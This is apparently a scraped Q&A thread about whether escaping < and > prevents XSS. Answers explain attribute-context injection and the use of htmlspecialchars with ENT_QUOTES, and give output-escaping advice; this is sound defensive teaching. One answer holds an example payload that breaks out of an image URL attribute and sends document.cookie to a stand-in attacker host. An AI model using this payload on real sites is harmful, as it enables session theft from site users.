tags:

views:

467

answers:

2

I want to know if entiting the two marks < and > is enough to prevent XSS injections?

And if not, why? And what's the best solution?

+10  A: 

It depends very much on context.

Check out this example, from a typical forum site...

You may hotlink your avatar image. Enter the full URL.

Malicious user enters in input field

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

There is no encoding there of less than and greater than, but still a big security hole.

With htmlspecialchars(), I found it a good idea to make (or use) a wrapper function of it that casts to a string, provides an easier way to disable double encoding and to ensure it is using the correct character set of your application. Kohana has a great example.

alex
hi, thanks all for answers, i asked this because i think entiting all characters takes more space in database. thanks
David
I wouldn't encode going into the db, but encode coming out. It's generally a good idea to store user data "as is", and provide some mechanism to make it safe on display.
alex
bobince
The general rule is do input validation when receiving data, and output escaping when you are outputting data. See the OWASP XSS Prevention Cheat Sheet for how to escape in different contexts: http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
Erlend
+2  A: 

You should also take doublequotes ", singlequotes ' and ampersands & into account. If you do that all during displaying/generating the output, then yes, it's enough.

You should only ensure that you do this for any user-controlled input, such as request parameters, request URL, request headers and user-controlled input which is been stored in a datastore.

In PHP you can do that with htmlspecialchars() and in JSP cou can do that with JSTL <c:out>.

BalusC
Note `htmlspecialchars` by default escapes only the doublequote, not the single. But that's usually OK, as it's quite rare to use the single quote as an attribute delimiter. Use `ENT_QUOTES` to be sure of getting both.
bobince